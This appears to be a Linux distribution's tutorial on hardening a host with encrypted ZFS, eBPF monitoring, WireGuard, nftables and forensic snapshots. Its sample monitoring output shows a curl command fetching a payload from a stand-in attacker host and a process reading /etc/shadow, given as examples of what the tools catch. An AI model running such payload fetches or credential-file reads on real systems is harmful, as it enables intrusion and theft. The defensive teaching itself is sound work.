| your Linux construction kit
Source
← Back to Overview

Security Appliance — every packet is watched, every file is encrypted, every change is logged.

A security appliance isn't a product you buy — it's a set of capabilities you configure. eBPF gives you kernel-level visibility without kernel modules. WireGuard encrypts your traffic with a config file, not a GUI. nftables gives you stateful firewalling with readable rules. And ZFS encryption means every dataset is encrypted at rest with keys you control. No agents. No subscriptions. Just the kernel doing what it already knows how to do.

The recipe

Step 1: Encrypted ZFS — per-dataset keys

# Create encrypted datasets — each with its own key
zfs create -o encryption=aes-256-gcm -o keyformat=passphrase \
    -o keylocation=prompt rpool/srv/secure

# Or use a keyfile for automated unlock
dd if=/dev/urandom of=/root/.zfs-keys/logs.key bs=32 count=1
chmod 600 /root/.zfs-keys/logs.key

zfs create -o encryption=aes-256-gcm -o keyformat=raw \
    -o keylocation=file:///root/.zfs-keys/logs.key rpool/srv/secure/logs

# Create separate encrypted datasets for different security zones
zfs create -o encryption=aes-256-gcm -o keyformat=passphrase \
    rpool/srv/secure/evidence
zfs create -o encryption=aes-256-gcm -o keyformat=passphrase \
    rpool/srv/secure/audit

# Lock a dataset when not in use — data is inaccessible
zfs unmount rpool/srv/secure/evidence
zfs unload-key rpool/srv/secure/evidence

# Unlock when needed
zfs load-key rpool/srv/secure/evidence
zfs mount rpool/srv/secure/evidence
Each dataset is a separate vault with its own combination. Lock the vault, and not even root can read the data without the key. Disk stolen? Useless without the keys.

Step 2: eBPF intrusion detection

# Install bcc-tools (eBPF-based observability)
kpkg install bcc-tools

# Watch every process execution in real time
execsnoop-bpfcc
# PCOMM   PID    PPID   RET ARGS
# bash    4521   4520     0 /bin/bash
# curl    4522   4521     0 /usr/bin/curl http://evil.com/payload
# ^^^ caught. No process runs without you seeing it.

# Monitor all TCP connections
tcplife-bpfcc
# PID   COMM     LADDR           LPORT RADDR           RPORT TX_KB RX_KB MS
# 4522  curl     10.0.0.5        43210 93.184.216.34   443   0     12    340

# Watch every file open
opensnoop-bpfcc
# PID   COMM        FD ERR PATH
# 4523  cat          3   0 /etc/shadow
# ^^^ someone is reading the shadow file. Alert.

# Log all DNS queries
tcptracer-bpfcc -p 53
eBPF hooks directly into the kernel. No userspace agent to bypass, no signatures to update. It sees every syscall, every connection, every file access — at wire speed.

Step 3: Persistent eBPF logging

# Run execsnoop as a service, log to the encrypted dataset
cat > /etc/systemd/system/execsnoop-logger.service <<'UNIT'
[Unit]
Description=eBPF process execution logger
After=network.target

[Service]
ExecStart=/bin/bash -c 'execsnoop-bpfcc -T >> /srv/secure/logs/execsnoop.log 2>&1'
Restart=always
RestartSec=5

[Install]
WantedBy=multi-user.target
UNIT

# Same for TCP connection logging
cat > /etc/systemd/system/tcplife-logger.service <<'UNIT'
[Unit]
Description=eBPF TCP connection logger
After=network.target

[Service]
ExecStart=/bin/bash -c 'tcplife-bpfcc -T >> /srv/secure/logs/tcplife.log 2>&1'
Restart=always
RestartSec=5

[Install]
WantedBy=multi-user.target
UNIT

systemctl enable --now execsnoop-logger tcplife-logger

# Snapshot the logs hourly for tamper-proof audit trail
cat > /etc/cron.d/security-snapshots <<'CRON'
0 * * * * root zfs snapshot rpool/srv/secure/logs@hourly-$(date +\%Y\%m\%d-\%H\%M)
CRON
Logs are written to an encrypted dataset and snapshotted hourly. An attacker who compromises the system can't delete past snapshots without destroying the pool. The audit trail survives.

Step 4: WireGuard tunnel for all traffic

# Generate keys
wg genkey | tee /srv/secure/vpn/private.key | wg pubkey > /srv/secure/vpn/public.key
chmod 600 /srv/secure/vpn/private.key

# Configure WireGuard — route ALL traffic through the tunnel
cat > /etc/wireguard/wg-secure.conf <<'WG'
[Interface]
PrivateKey = YOUR_PRIVATE_KEY
Address = 10.100.0.2/24
DNS = 10.100.0.1

# Route everything through the tunnel
PostUp = nft add rule inet filter forward iifname != "wg-secure" drop
PostDown = nft delete rule inet filter forward handle $(nft -a list chain inet filter forward | grep 'iifname != "wg-secure"' | awk '{print $NF}')

[Peer]
PublicKey = VPN_SERVER_PUBLIC_KEY
Endpoint = vpn.secure.example.com:51820
AllowedIPs = 0.0.0.0/0, ::/0
PersistentKeepalive = 25
WG

systemctl enable --now wg-quick@wg-secure

Step 5: nftables firewall with per-interface rules

# Define a strict firewall ruleset
cat > /etc/nftables.conf <<'NFT'
#!/usr/sbin/nft -f
flush ruleset

table inet filter {
    chain input {
        type filter hook input priority 0; policy drop;

        # Allow established connections
        ct state established,related accept
        ct state invalid drop

        # Allow loopback
        iifname "lo" accept

        # Allow WireGuard
        iifname "wg-secure" accept

        # Allow SSH only from management network
        tcp dport 22 ip saddr 10.100.0.0/24 accept

        # Allow ICMP for diagnostics
        ip protocol icmp icmp type { echo-request, echo-reply } accept

        # Log and drop everything else
        log prefix "nftables-drop: " counter drop
    }

    chain forward {
        type filter hook forward priority 0; policy drop;
    }

    chain output {
        type filter hook output priority 0; policy accept;

        # Only allow DNS to our resolver
        tcp dport 53 ip daddr != 10.100.0.1 drop
        udp dport 53 ip daddr != 10.100.0.1 drop
    }
}
NFT

systemctl enable --now nftables

# Verify the rules
nft list ruleset
Default deny. Everything is blocked unless explicitly allowed. SSH only from the management network. DNS only to your resolver. Every dropped packet is logged.

Step 6: Immutable snapshots for forensic preservation

# When you detect an incident, freeze the evidence
zfs snapshot -r rpool@incident-$(date +%Y%m%d-%H%M%S)

# Set a hold so the snapshot can't be accidentally destroyed
zfs hold forensic rpool@incident-$(date +%Y%m%d-%H%M%S)

# The entire filesystem state is now preserved
# Ship it to your forensics team
zfs send -R rpool@incident-20260323-140532 | \
    ssh forensics-server "zfs recv -F tank/evidence/incident-20260323"

# The forensics team gets an exact byte-for-byte copy
# of every file, every log, every artifact — as it existed
# at the moment you took the snapshot

Defense in depth

Encryption at rest

Every dataset encrypted with AES-256-GCM. Per-dataset keys. Lock datasets when not in use. Disk theft is a non-event.

Kernel-level visibility

eBPF sees every process, every connection, every file open. No agent to disable, no signature to evade. The kernel is the sensor.

Encrypted transit

WireGuard tunnels all traffic. Every packet is authenticated and encrypted. No cleartext leaves the machine.

Tamper-proof audit trail

Logs go to encrypted datasets. Hourly snapshots preserve the audit trail. An attacker can't rewrite history without destroying the pool.